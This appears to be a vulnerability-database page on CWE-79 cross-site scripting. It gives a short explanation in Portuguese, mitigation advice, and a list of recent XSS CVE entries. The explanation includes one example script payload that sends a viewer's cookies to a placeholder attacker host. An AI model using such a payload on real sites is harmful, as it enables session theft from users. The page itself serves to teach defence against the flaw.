Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-27178MEDIUMMajorDoMo Stored Cross-Site Scripting via Method Parameters to ShoutboxEPSS 0.3%CVE-2026-35576HIGHChurchCRM has Stored Cross-Site Scripting (XSS) in Person Properties via PrintView.phpEPSS 0.3%CVE-2026-21292MEDIUMAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2021-47913MEDIUMPHP Melody 3.0 Persistent Cross-Site Scripting via Video EditorEPSS 0.3%CVE-2025-3813MEDIUMRoyal Elementor Addons and Templates <= 1.7.1020 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-107796MEDIUMJivejdon through commit ee67a65e Reflected XSS via taggedThreadList.jsp tagID and count ParametersEPSS 0.3%CVE-2024-51950MEDIUMStored XSS in Server Admin under Services > lifecycleinfosEPSS 0.3%CVE-2026-95717MEDIUMAuthenticated Stored Cross-Site Scripting (XSS) Vulnerability in AOS Web-Based Management InterfaceEPSS 0.3%CVE-2024-35145MEDIUMIBM Maximo Application Suite cross-site scriptingEPSS 0.3%CVE-2025-5754MEDIUMUseful Tab Block – Responsive & AMP-Compatible <= 1.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via className ParameterEPSS 0.3%CVE-2024-13987MEDIUMImproper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in Synology RADIUS Server allows remote aEPSS 0.3%CVE-2024-51949MEDIUMStored XSS vulnerability in Rest Services under OGCFeature Service and Map ServiceEPSS 0.3%CVE-2024-51960MEDIUMStored XSS in ArcGIS Server Administrator DirectoryEPSS 0.3%CVE-2026-1807MEDIUMInteractiveCalculator for WordPress <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode AttributeEPSS 0.3%CVE-2025-43861MEDIUMManageWiki Vulnerable to Self-XSS in review dialog via unsanitized field reflectionEPSS 0.3%CVE-2026-0316LOWPAN-OS: Stored Cross-Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-13443MEDIUMEasypromos Plugin <= 1.3.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2026-33664HIGHKestra Vulnerable to Stored Cross-Site Scripting via Flow YAML FieldsEPSS 0.3%CVE-2023-54349MEDIUMAmazCart CMS 3.4 Reflected Cross-Site Scripting via SearchEPSS 0.3%CVE-2026-120443MEDIUMGoFound through 1.4.1 Stored XSS via Admin Dashboard Search ResultsEPSS 0.3%